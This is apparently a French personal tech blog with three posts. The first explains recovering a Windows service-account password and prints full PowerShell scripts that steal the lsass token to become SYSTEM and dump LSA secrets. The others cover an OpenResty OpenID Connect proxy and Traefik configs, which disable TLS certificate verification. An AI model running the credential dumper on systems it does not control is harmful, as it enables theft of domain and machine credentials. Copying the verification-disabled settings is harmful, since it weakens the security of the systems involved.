Déchiffrer les mots de passe des comptes de service Windows

Windows a la capacité d’exécuter un service en utilisant un compte non générique (les NT AUTHORITY\* ou NT SERVICE\*). C’est particulièrement utile lorsque le service en question doit accéder à des ressources réseaux et donc avoir une identité propre et distincte de l’hôte qui l’héberge.

Par exemple Veeam, un outil de sauvegarde d’entreprise, est composé de plusieurs services s’exécutant sous une identité commune qui doit leur permettre entre autre de :

  • valider les utilisateurs lorsqu’ils accèdent à la console de gestion
  • accéder à la base de données SQL Server
  • autoriser les flux réseaux entre les différents services Veeam (lorsqu’il y a plus d’un serveur dédié à Veeam)

Veeam services

Pour un compte local à la machine, Windows a la possibilité d’initialiser un process avec n’importe quelle identité locale, comme un su. Cela reste une opération exclusive au système d’exploitation (c’est à dire non autorisée à au commun des mortels, même administrateur). C’est ce qu’il se passe lorsqu’il démarre un service en tant que NT AUTHORITY\Local Service ou NT AUTHORITY\Network Service par exemple.

Dans le cas de Veeam,  il ne s’agit pas d’un compte local à la machine (ici KVEER\ est le préfixe de domaine, et non le nom de la machine), le Windows où Veeam est installé doit donc, d’une manière ou d’une autre, stocker le mot de passe du compte.

A noter que s’il existe une API permettant localement d’exécuter n’importe quel process avec n’importe quelle idéntité, le mot de passe reste obligatoire pour pouvoir s’identifier sur le réseau.

Legit use ou pure h@cking ?

Bien que le coffre-fort de Windows soit bien mieux fichu que ce que propose Linux (rien ?), il n’en reste pas moins que tout ce qui est chiffré se déchiffre. Ce n’est pas évident (les apis ne sont pas publiques, sans documentation, et avec accès restreint), mais tout est possible lorsqu’on est un Administrateur acharné de sa machine.

Je me suis servi de cette technique pour récupérer le mot de passe de ce compte, que j’avais configuré en set-and-forget. Durant l’installation initiale de Veeam, j’ai du spécifier ce compte, que j’avais correctement provisionné au préalable. L’installeur a créé puis configuré tous les services requis.

Et pendant plusieurs mois, Veeam a eu une vie heureuse et beaucoup d’enfants. Mais l’heure de la méchante mise à jour arriva :). En plein milieu de la mise à jour, le setup me demande le mot de passe du compte KVEER\veeam. Oops !

Sésame, ouvre-toi !

L’ensemble des secrets sont stockés dans HKLM:\\SECURITY\Policy\Secrets

On va faire appel à deux scripts :

  • le premier va « voler » le security token de lsass.exe afin de devenir SYSTEM (on peut aussi y arriver avec psexec de Sysinternals), afin de lire le contenu de la base de registre
  • le second utilise les API de windows pour déchiffrer les secrets

 

function Enable-TSDuplicateToken {
<#
  .SYNOPSIS
  Duplicates the Access token of lsass and sets it in the current process thread.

  .DESCRIPTION
  The Enable-TSDuplicateToken CmdLet duplicates the Access token of lsass and sets it in the current process thread.
  The CmdLet must be run with elevated permissions.

  .EXAMPLE
  Enable-TSDuplicateToken

  .LINK
  http://www.truesec.com

  .NOTES
  Goude 2012, TreuSec
#>
[CmdletBinding()]
param()

$signature = @"
    [StructLayout(LayoutKind.Sequential, Pack = 1)]
     public struct TokPriv1Luid
     {
         public int Count;
         public long Luid;
         public int Attr;
     }

    public const int SE_PRIVILEGE_ENABLED = 0x00000002;
    public const int TOKEN_QUERY = 0x00000008;
    public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
    public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;

    public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
    public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
    public const UInt32 TOKEN_DUPLICATE = 0x0002;
    public const UInt32 TOKEN_IMPERSONATE = 0x0004;
    public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
    public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
    public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
    public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
    public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
    public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
      TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
      TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
      TOKEN_ADJUST_SESSIONID);

    public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";
    public const int ANYSIZE_ARRAY = 1;

    [StructLayout(LayoutKind.Sequential)]
    public struct LUID
    {
      public UInt32 LowPart;
      public UInt32 HighPart;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct LUID_AND_ATTRIBUTES {
       public LUID Luid;
       public UInt32 Attributes;
    }


    public struct TOKEN_PRIVILEGES {
      public UInt32 PrivilegeCount;
      [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
      public LUID_AND_ATTRIBUTES [] Privileges;
    }

    [DllImport("advapi32.dll", SetLastError=true)]
     public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int
        SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);


    [DllImport("advapi32.dll", SetLastError=true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool SetThreadToken(
      IntPtr PHThread,
      IntPtr Token
    );

    [DllImport("advapi32.dll", SetLastError=true)]
     [return: MarshalAs(UnmanagedType.Bool)]
      public static extern bool OpenProcessToken(IntPtr ProcessHandle, 
       UInt32 DesiredAccess, out IntPtr TokenHandle);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);

    [DllImport("kernel32.dll", ExactSpelling = true)]
    public static extern IntPtr GetCurrentProcess();

    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
     public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
     ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
"@

  $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
  if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
    Write-Warning "Run the Command as an Administrator"
    Break
  }

  Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv
  $adjPriv = [AdjPriv.AdjPriv]
  [long]$luid = 0

  $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid
  $tokPriv1Luid.Count = 1
  $tokPriv1Luid.Luid = $luid
  $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED

  $retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)

  [IntPtr]$htoken = [IntPtr]::Zero
  $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken)
  
  
  $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES
  $retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)

  if(-not($retVal)) {
    [System.Runtime.InteropServices.marshal]::GetLastWin32Error()
    Break
  }

  $process = (Get-Process -Name lsass)
  [IntPtr]$hlsasstoken = [IntPtr]::Zero
  $retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken)

  [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero
  $retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle)

  $retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle)
  if(-not($retVal)) {
    [System.Runtime.InteropServices.marshal]::GetLastWin32Error()
  }
}
function Get-TSLsaSecret {
  <#
    .SYNOPSIS
    Displays LSA Secrets from local computer.

    .DESCRIPTION
    Extracts LSA secrets from HKLM:\\SECURITY\Policy\Secrets\ on a local computer.
    The CmdLet must be run with elevated permissions, in 32-bit mode and requires permissions to the security key in HKLM.

    .PARAMETER Key
    Name of Key to Extract. if the parameter is not used, all secrets will be displayed.

    .EXAMPLE
    Enable-TSDuplicateToken
    Get-TSLsaSecret

    .EXAMPLE
    Enable-TSDuplicateToken
    Get-TSLsaSecret -Key KeyName

    .NOTES
    Goude 2012, TreuSec
  #>

  param(
    [Parameter(Position = 0,
      ValueFromPipeLine= $true
    )]
    [Alias("RegKey")]
    [string[]]$RegistryKey
  )

Begin {
# Check if User is Elevated
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
  Write-Warning "Run the Command as an Administrator"
  Break
}

# Check if Script is run in a 32-bit Environment by checking a Pointer Size
if([System.IntPtr]::Size -eq 8) {
  Write-Warning "Run PowerShell in 32-bit mode"
  Break
}



# Check if RegKey is specified
if([string]::IsNullOrEmpty($registryKey)) {
  [string[]]$registryKey = (Split-Path (Get-ChildItem HKLM:\SECURITY\Policy\Secrets | Select -ExpandProperty Name) -Leaf)
}

# Create Temporary Registry Key
if( -not(Test-Path "HKLM:\\SECURITY\Policy\Secrets\MySecret")) {
  mkdir "HKLM:\\SECURITY\Policy\Secrets\MySecret" | Out-Null
}

$signature = @"
[StructLayout(LayoutKind.Sequential)]
public struct LSA_UNICODE_STRING
{
  public UInt16 Length;
  public UInt16 MaximumLength;
  public IntPtr Buffer;
}

[StructLayout(LayoutKind.Sequential)]
public struct LSA_OBJECT_ATTRIBUTES
{
  public int Length;
  public IntPtr RootDirectory;
  public LSA_UNICODE_STRING ObjectName;
  public uint Attributes;
  public IntPtr SecurityDescriptor;
  public IntPtr SecurityQualityOfService;
}

public enum LSA_AccessPolicy : long
{
  POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,
  POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,
  POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,
  POLICY_TRUST_ADMIN = 0x00000008L,
  POLICY_CREATE_ACCOUNT = 0x00000010L,
  POLICY_CREATE_SECRET = 0x00000020L,
  POLICY_CREATE_PRIVILEGE = 0x00000040L,
  POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,
  POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,
  POLICY_AUDIT_LOG_ADMIN = 0x00000200L,
  POLICY_SERVER_ADMIN = 0x00000400L,
  POLICY_LOOKUP_NAMES = 0x00000800L,
  POLICY_NOTIFICATION = 0x00001000L
}

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaRetrievePrivateData(
  IntPtr PolicyHandle,
  ref LSA_UNICODE_STRING KeyName,
  out IntPtr PrivateData
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaStorePrivateData(
  IntPtr policyHandle,
  ref LSA_UNICODE_STRING KeyName,
  ref LSA_UNICODE_STRING PrivateData
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaOpenPolicy(
  ref LSA_UNICODE_STRING SystemName,
  ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,
  uint DesiredAccess,
  out IntPtr PolicyHandle
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaNtStatusToWinError(
  uint status
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaClose(
  IntPtr policyHandle
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaFreeMemory(
  IntPtr buffer
);
"@

Add-Type -MemberDefinition $signature -Name LSAUtil -Namespace LSAUtil
}

  Process{
    foreach($key in $RegistryKey) {
      $regPath = "HKLM:\\SECURITY\Policy\Secrets\" + $key
      $tempRegPath = "HKLM:\\SECURITY\Policy\Secrets\MySecret"
      $myKey = "MySecret"
      if(Test-Path $regPath) {
        Try {
          Get-ChildItem $regPath -ErrorAction Stop | Out-Null
        }
        Catch {
          Write-Error -Message "Access to registry Denied, run as NT AUTHORITY\SYSTEM" -Category PermissionDenied
          Break
        }      

        if(Test-Path $regPath) {
          # Copy Key
          "CurrVal","OldVal","OupdTime","CupdTime","SecDesc" | ForEach-Object {
            $copyFrom = "HKLM:\SECURITY\Policy\Secrets\" + $key + "\" + $_
            $copyTo = "HKLM:\SECURITY\Policy\Secrets\MySecret\" + $_

            if( -not(Test-Path $copyTo) ) {
              mkdir $copyTo | Out-Null
            }
            $item = Get-ItemProperty $copyFrom
            Set-ItemProperty -Path $copyTo -Name '(default)' -Value $item.'(default)'
          }
        }
        # Attributes
        $objectAttributes = New-Object LSAUtil.LSAUtil+LSA_OBJECT_ATTRIBUTES
        $objectAttributes.Length = 0
        $objectAttributes.RootDirectory = [IntPtr]::Zero
        $objectAttributes.Attributes = 0
        $objectAttributes.SecurityDescriptor = [IntPtr]::Zero
        $objectAttributes.SecurityQualityOfService = [IntPtr]::Zero

        # localSystem
        $localsystem = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
        $localsystem.Buffer = [IntPtr]::Zero
        $localsystem.Length = 0
        $localsystem.MaximumLength = 0

        # Secret Name
        $secretName = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
        $secretName.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($myKey)
        $secretName.Length = [Uint16]($myKey.Length * [System.Text.UnicodeEncoding]::CharSize)
        $secretName.MaximumLength = [Uint16](($myKey.Length + 1) * [System.Text.UnicodeEncoding]::CharSize)

        # Get LSA PolicyHandle
        $lsaPolicyHandle = [IntPtr]::Zero
        [LSAUtil.LSAUtil+LSA_AccessPolicy]$access = [LSAUtil.LSAUtil+LSA_AccessPolicy]::POLICY_GET_PRIVATE_INFORMATION
        $lsaOpenPolicyHandle = [LSAUtil.LSAUtil]::LSAOpenPolicy([ref]$localSystem, [ref]$objectAttributes, $access, [ref]$lsaPolicyHandle)

        if($lsaOpenPolicyHandle -ne 0) {
          Write-Warning "lsaOpenPolicyHandle Windows Error Code: $lsaOpenPolicyHandle"
          Continue
        }

        # Retrieve Private Data
        $privateData = [IntPtr]::Zero
        $ntsResult = [LSAUtil.LSAUtil]::LsaRetrievePrivateData($lsaPolicyHandle, [ref]$secretName, [ref]$privateData)

        $lsaClose = [LSAUtil.LSAUtil]::LsaClose($lsaPolicyHandle)

        $lsaNtStatusToWinError = [LSAUtil.LSAUtil]::LsaNtStatusToWinError($ntsResult)

        if($lsaNtStatusToWinError -ne 0) {
          Write-Warning "lsaNtsStatusToWinError: $lsaNtStatusToWinError"
        }

        [LSAUtil.LSAUtil+LSA_UNICODE_STRING]$lusSecretData =
        [LSAUtil.LSAUtil+LSA_UNICODE_STRING][System.Runtime.InteropServices.marshal]::PtrToStructure($privateData, [System.Type][LSAUtil.LSAUtil+LSA_UNICODE_STRING])

        Try {
          [string]$value = [System.Runtime.InteropServices.marshal]::PtrToStringAuto($lusSecretData.Buffer)
          $value = $value.SubString(0, ($lusSecretData.Length / 2))
        }
        Catch {
          $value = ""
        }

        if($key -match "^_SC_") {
          # Get Service Account
          $serviceName = $key -Replace "^_SC_"
          Try {
            # Get Service Account
            $service = Get-WmiObject -Query "SELECT StartName FROM Win32_Service WHERE Name = '$serviceName'" -ErrorAction Stop
            $account = $service.StartName
          }
          Catch {
            $account = ""
          }
        } else {
          $account = ""
        }

        # Return Object
        New-Object PSObject -Property @{
          Name = $key;
          Secret = $value;
          Account = $Account
        } | Select-Object Name, Account, Secret, @{Name="ComputerName";Expression={$env:COMPUTERNAME}}
      } else {
        Write-Error -Message "Path not found: $regPath" -Category ObjectNotFound
      }
    }
  }
  end {
    if(Test-Path $tempRegPath) {
      Remove-Item -Path "HKLM:\\SECURITY\Policy\Secrets\MySecret" -Recurse -Force
    }
  }
}

Note : Les script seront peut-être reconnus comme malveillant. C’est autant le cas qu’avec un couteau : le potentiel de nuisance est réel mais dépend de son utilisateur. Ces scripts sont sain et n’infecte rien ni ne communique avec l’Internet.

Il n’y aura plus qu’à ouvrir une fenêtre powershell x86 en administrateur, charger ces deux scripts, puis :

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force
Import-Module .\Enable-TSDuplicateToken.ps1
Import-Module .\Get-TSLSASecret.ps1

Enable-TSDuplicateToken
Get-TSLsaSecret

Grâce à cela, j’ai pu récupérer le précieux et continuer l’installation de la mise à jour. Au passage je me suis clairement assis sur mon propre principe du Set-and-Forget. Ne faîtes pas comme-moi, lisez la documentation 🙂

En bonus, on pourra aussi récupérer :

  • le mot de passe de la machine
  • les réponses aux questions de sécurité de son/ses comptes locaux
Results of LSA Secrets

Oui mimikatz fait aussi l’affaire mais valider ces scripts avant de décider de les exécuter prend 2 minutes, et puis cela permet de voir une autre méthode.

Set-and-Forget

Littéralement « configure et oublie ». C’est ce qu’on fait naturellement lorsqu’on est sur de l’automatisation ou l’industrialisation où le processus perd en actions manuelles.

Dans le domaine de la sécurité, certains secrets ne devraient pas être configurés, même dans un coffre-fort type LastPass ou Bitwarden. En effet, à partir du moment où :

  1. le secret ne sert à rien pour un humain
  2. le secret peut être changé

alors il est préférable de changer ce secret plutôt que d’ouvrir le coffre, lorsqu’on a besoin d’y accéder. Je ne sais pas si ce principe a un nom, alors je l’ai appelé Set-and-Forget.

Sources

Protéger n’importe quelle application web avec un portail SSO

SSO ?

Le SSO (ou Single-Sign-On) est une fonctionnalité ô combien pratique pour l’utilisateur final : celui-ci s’identifie une seule fois puis ensuite est authentifié de manière transparente à toutes les applications protégées par le portail SSO. C’est malheureusement une fonctionnalité très souvent premium ou enterprise-grade car les protocols le mettant en oeuvre (SAML, OAuth, OpenID Connect) ne s’adressent de toute manière pas au premier schrtoumf venu et présentent une complexité certaine.

J’exclus d’office les authentifications de type basique avec validation en LDAP, parce que cela existe déjà d’une part et surtout pour la première raison évoqué ci-dessous.

On peut voir deux avantages énormes en terme de sécurité au SSO :

  • l’utilisateur s’identifie sur le portail SSO une seule fois. Le mot de passe, s’il y en a, n’est donc vu que par le portail SSO et non par l’application web protégée. En cas de hack du/des serveur(s) hébergeant l’application web, il n’y aura aucune données d’identification à récupérer. On dit que le processus d’authentification est déléguée à une application tierce.
  • la base de données des utilisateurs est centralisée, ainsi que sa gestion (autoriser/refuser des utilisateurs)

On dispose donc d’un très grand nombre d’applications web dont seule une minorité propose nativement une implémentation de SSO. Comment faire alors pour en restreindre l’accès, sans déveloper (donc valable autant pour une application open-source qu’une application propriétaire) ?

Reverse proxy

Une des solutions, celle que je vais détailler ici, va consister à introduire un intermédiaire entre le client et l’application web et par exemple avoir le modèle suivant :

Client -> Serveur HTTP -> Serveur Auth -> Server applicatif

Même si rien n’empêche techniquement de tout faire supporter par une unique instance, il est usuel de distinguer le serveur applicatif et les serveur(s) HTTP, les responsabilités étant distinctes. En effet, le(s) serveur(s) HTTP aura(ont) en charge :

  • la scalabilité horizontale ou load-balancing
  • le log des requêtes HTTP
  • l’off-loading TLS
  • le service des ressources statiques
  • la mise en cache de certaines ressources (statiques et/ou dynamiques)

Tandis que le serveur applicatif aura en unique responsabilité l’exécution du site web (aka la génération des pages dynamiques).

OpenResty OpenIDC

ZmartZone propose un serveur nginx agissant en tant que client OAuth. L’implémentation est faite en lua, grâce au framework OpenResty accompagné du module nginx éponyme.

Builder ce serveur est relativement simple et construire le containeur Docker pourra se faire avec le Dockerfile suivant : 

FROM openresty/openresty:alpine-fat

RUN set -xe; \
    apk add --no-cache ca-certificates; \
    /usr/local/openresty/luajit/bin/luarocks install lua-resty-openidc; \
    /usr/local/openresty/luajit/bin/luarocks install lua-resty-iputils

COPY nginx.conf /etc/nginx/conf.d/docker.conf.default
COPY docker-entrypoint.sh /

RUN chmod +x /docker-entrypoint.sh

CMD ["/usr/local/openresty/bin/openresty", "-g", "daemon off;"]
ENTRYPOINT [ "/docker-entrypoint.sh" ]

Le plus pénible sera la configuration à effectuer dans le fichier nginx.conf. Etant donné que l’implémentation OAuth est faite en lua, la conf se fait aussi en lua ; on est à la limite du code. J’ai donc ajouté à mon containeur un petit script afin de pouvoir effectuer une configuration classique directement au travers des variables d’environnement systèmes.

Le point d’entrée suivant :

#!/bin/sh

DEFAULT_CONF=/etc/nginx/conf.d/docker.conf

# deploy default conf
if [ ! -f "$DEFAULT_CONF" ]; then
    cp "$DEFAULT_CONF".default "$DEFAULT_CONF"

    if [ -n "$UPSTREAM" ]; then
        sed -i "s/#upstream#/$UPSTREAM/g" "$DEFAULT_CONF"
    fi

    if [ -n "$SESSION_SECRET" ]; then
        sed -i "s/\(?:#session_secret#\)/$SESSION_SECRET/g" "$DEFAULT_CONF"
    fi

    if [ -n "$DISCOVERY_URL" ]; then
        sed -i "s!#discovery_url#!$DISCOVERY_URL!g" "$DEFAULT_CONF"
    fi

    if [ -n "$CLIENT_ID" ]; then
        sed -i "s/#client_id#/$CLIENT_ID/g" "$DEFAULT_CONF"
    fi

    if [ -n "$CLIENT_SECRET" ]; then
        sed -i "s/#client_secret#/$CLIENT_SECRET/g" "$DEFAULT_CONF"
    fi

set -xe
    if [ -n "$WHITELIST_IPS" ]; then
        _ips=`echo $WHITELIST_IPS | tr ',' '\n'`
        _lua_ips=""

        for ip in $_ips; do
            _a=$_lua_ips',"'$ip'"'
            _lua_ips=$_a
        done

        _lua_ips2=`echo $_lua_ips | sed 's/^,//'`
        sed -i "s!#whitelist_ips#!$_lua_ips2!g" "$DEFAULT_CONF"
    fi
fi

sed -i '/^\s*--/d' "$DEFAULT_CONF"

exec "$@"

permet ainsi de configurer le fichier template pour nginx :

lua_package_path '~/lua/?.lua;;';
resolver 127.0.0.11;

lua_ssl_trusted_certificate /etc/ssl/certs/ca-certificates.crt;
lua_ssl_verify_depth 5;

lua_shared_dict discovery 1m;
lua_shared_dict jwks 1m;

upstream _upstream {
        server #upstream#;
}

init_by_lua_block {
    local iputils = require("resty.iputils")
    iputils.enable_lrucache()
    local whitelist_ips = { #whitelist_ips# }

    -- WARNING: Global variable, recommend this is cached at the module level
    -- https://github.com/openresty/lua-nginx-module#data-sharing-within-an-nginx-worker
    whitelist = iputils.parse_cidrs(whitelist_ips)
}

server {
    listen 80 default_server;
    server_name _;

    set $session_name '_nginx_openidc';
    set $session_secret '#session_secret#';

    error_log /usr/local/openresty/nginx/logs/debug.log debug;
    error_log /dev/stderr warn;

    large_client_header_buffers 4 16k;

    access_by_lua_block {

        local opts = {
            -- the full redirect URI must be protected by this script
            -- if the URI starts with a / the full redirect URI becomes
            -- ngx.var.scheme.."://"..ngx.var.http_host..opts.redirect_uri
            -- unless the scheme was overridden using opts.redirect_uri_scheme or an X-Forwarded-Proto header in the incoming request
            redirect_uri = "/callback",

            -- The discovery endpoint of the OP. Enable to get the URI of all endpoints (Token, introspection, logout...)
            discovery = "#discovery_url#",

            -- Access to OP Token endpoint requires an authentication. Several authentication modes are supported:
            --token_endpoint_auth_method = ["client_secret_basic"|"client_secret_post"|"private_key_jwt"|"client_secret_jwt"],
            -- o If token_endpoint_auth_method is set to "client_secret_basic", "client_secret_post", or "client_secret_jwt", authentication to Token endpoint is using client_id and client_secret
            --   For non compliant OPs to OAuth 2.0 RFC 6749 for client Authentication (cf. https://tools.ietf.org/html/rfc6749#section-2.3.1)
            --   client_id and client_secret MUST be invariant when url encoded
            client_id = "#client_id#",
            client_secret = "#client_secret#",

            -- When using https to any OP endpoints, enforcement of SSL certificate check can be mandated ("yes") or not ("no").
            ssl_verify = "no",

            renew_access_token_on_expiry = true,
            -- whether this plugin shall try to silently renew the access token once it is expired if a refresh token is available.
            -- if it fails to renew the token, the user will be redirected to the authorization endpoint.
            access_token_expires_in = 3600,
            -- Default lifetime in seconds of the access_token if no expires_in attribute is present in the token endpoint response.

            access_token_expires_leeway = 60,
            --  Expiration leeway for access_token renewal. If this is set, renewal will happen access_token_expires_leeway seconds before the token expiration. This avoids errors in case the access_token just expires when arriving to the OAuth Resource Se
        }

        local openidc = require("resty.openidc")
        local iputils = require("resty.iputils")
        openidc.set_logging(nil, { DEBUG = ngx.INFO })

        if not iputils.ip_in_cidrs(ngx.var.http_x_forwarded_for, whitelist) and not (ngx.var.uri and ngx.re.match(ngx.var.uri, '/manifest.json$')) then
            -- call authenticate for OpenID Connect user authentication
            local res, err = require("resty.openidc").authenticate(opts)

            if err then
                ngx.status = 500
                ngx.log(ngx.STDERR, err)
                ngx.header["Content-Type"] = "text/plain"
                ngx.say(err)
                ngx.exit(ngx.HTTP_INTERNAL_SERVER_ERROR)
            end

            -- at this point res is a Lua table with 3 keys:
            --   id_token    : a Lua table with the claims from the id_token (required)
            --   access_token: the access token (optional)
            --   user        : a Lua table with the claims returned from the user info endpoint (optional)

            -- set headers with user info: this will overwrite any existing headers
            -- but also scrub(!) them in case no value is provided in the token
            ngx.req.set_header("X-USER", res.id_token.sub)
        end
    }

    location / {
        proxy_pass http://_upstream/;
    }
}

Il sera donc nécessaire de spécifier les paramètres suivants : 

  • UPSTREAM : le serveur oauth agissant en tant que reverse proxy pour l’application web à protéger, il est nécessaire de spécifier l’url interne de l’application web qui est le backend
  • SESSION_SECRET : une chaîne de caractère bien aléatoire servant à chiffrer le cookie d’authentification. Il doit être le même sur tous les serveurs d’authentification
  • WHITELIST_IPS : une liste d’ips ou CIDR séparés par une virgule
  • DISCOVERY_URL : l’url vers l’endpoint du serveur SSO. Dans le cas de ADFS, ça sera https://mon-sso.kveer.fr/adfs/.well-known/openid-configuration
  • CLIENT_ID : l’id de l’application créé sur le serveur SSO
  • CLIENT_SECRET : le secret partagé de l’application généré par le serveur SSO

S’il y a besoin de faire des choses un peu plus exotiques, le template nginx.conf complet avec quelques explications (trop) sommaires sont sur le README.

Traefik

Je me suis mis à tater traefik ce week-end afin d’avoir quelque chose de plus fiable avec Let’s Encrypt, que mon script un peu bancale. En effet il s’agit d’un reverse proxy écrit en go, pensé micro-services et, avec intégration Let’s Encrypt.

Cela rentre à priori parfaitement dans mon cadre d’utilisation. À savoir, 90% de ce que je souhaite publier, que cela soit interne ou public, sont des containers Docker. Est-ce que traefik pourra remplacer nginx, mon reverse proxy actuel ? C’est ce que nous allons voir.

Refactorisation

Dans mon architecture précédente, je mélangeais un peu les rôles de reverse proxy et serveur http. Les deux rôles étant gérés par nginx, cela me permettait d’éviter un petit gaspillage de RAM en ayant plusieurs instance de nginx. Lorsqu’on héberge tout sur seulement 32Go, on essaie de grapiller là où l’on peut ! Mais c’est de l’histoire ancienne cela et je peux bien sacrifier quelques Mo supplémentaires depuis que j’ai upgradé mon nuc à 64Go de RAM. Mon hyperviseur est cosy maintenant.

L’intérêt est qu’en utilisant traefik, je m’oblige à séparer les deux rôles et donc à avoir quelque chose de plus propres. En effet, si je souhaite migrer un service, je n’ai qu’à le rsync sur une autre machine et faire chauffer les containers. Il n’est plus nécessaire de porter la configuration du reverse proxy à la main, puisque celle-ci est intégrée à ma stack Docker. Et surtout l’ajout d’un backend ne nécessite pas de recharger traefik, contrairement à nginx.

Et l’autre atout phare, comme mentionné précédemment, est l’intégration directe de Let’s Encrypt. Il n’est plus nécessaire d’écrire un script, de le lancer régulièrement pour quémander un nouveau certificat, remplacer le fichier et raffraichir la conf du reverse proxy. traefik le fait pour toi, et ça marche du premier coup !

J’ai pu ainsi passer de ça :

 

nginx en tant que reverse proxy, ssl endpoint et serveur http

À ca :

traefik comme reverse proxy et ssl endpoint, nginx en tant que serveur http

Bon ok, en image ce n’est pas transcendent.

Mais la conf est cool

Le container traefik pèse 80Mo là où nginx se content de 20Mo. On reste sur du container léger et la différence de taille provient surtout du binaire traefik (68Mo à lui tout seul). On reconnait bien ici la signature go.

Pour l’installer, rien de plus simple qu’un docker-compose.yml par défaut avec :

  • les ports qu’on souhaite exposer à l’extérieur
  • un réseau « DMZ » qui sera commun à traefik et les points d’entrée de mes autres stack
  • le fichier de configuration de traefik.toml
  • un fichier nommé acme.json et qui va contenir les clés privées générées et certificats émis par Let’s Encrypt
  • on trust traefik en lui donnant l’accès à la socket de contrôle de Docker pour qu’il détecte automatiquement les containers et les intègre en fonction de la configuration

En option, j’ai fixé l’ip du container sur la pate DMZ. traefik ajoute également les en-têtes X-Forwarded-For* aux backends. Avoir une ip fixe facilite la configuration du trust du reverse proxy au niveau des backends.

Note: le choix de l’ip dépend bien évidemment du subnet avec lequel le réseau dmz a été créé (explicitement ou implicitement).

version: '3.5'

networks:
  dmz:
    external:
      name: dmz

services:
  traefik:
    image: traefik:1.7-alpine
    ports:
#      - 80:80
      - 443:443
#      - 8443:443
      - 1443:1443
    networks:
      dmz:
        ipv4_address: 172.16.0.126
    volumes:
      - ./traefik.toml:/etc/traefik/traefik.toml:ro
      - ./acme.json:/etc/traefik/acme.json
      - /var/run/docker.sock:/var/run/docker.sock

Le fichier de configuration de traefik, traefik.toml, va permettre de configurer :

  • s’il faut auto-demander des certificats auprès de Let’s Encrypt et quel type de clé privée générer, EC256 pour ma part plutôt que le fat RSA
  • les versions de TLS activés ainsi que les ciphers disponibles
  • et le plus important: d’ajouter un container automatiquement, s’il a les labels qu’il faut

Mis à part le cas nexus que je détaillerais plus bas, ce fichier de configuration est complètement agnostique de ce que je vais coller au cul de traefik. Exit la conf d’un virtual host qui fait péter tout le serveur !

defaultEntryPoints = ["https"]
# i will manage updates through watchtower
checkNewVersion = false
insecureSkipVerify = true

[entryPoints]
  [entryPoints.http]
  address = ":80"
  [entryPoints.https]
  address = ":443"
    [entryPoints.https.tls]
    minVersion = "VersionTLS12"
    sniStrict = true
#    cipherSuites = [
#      "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256",
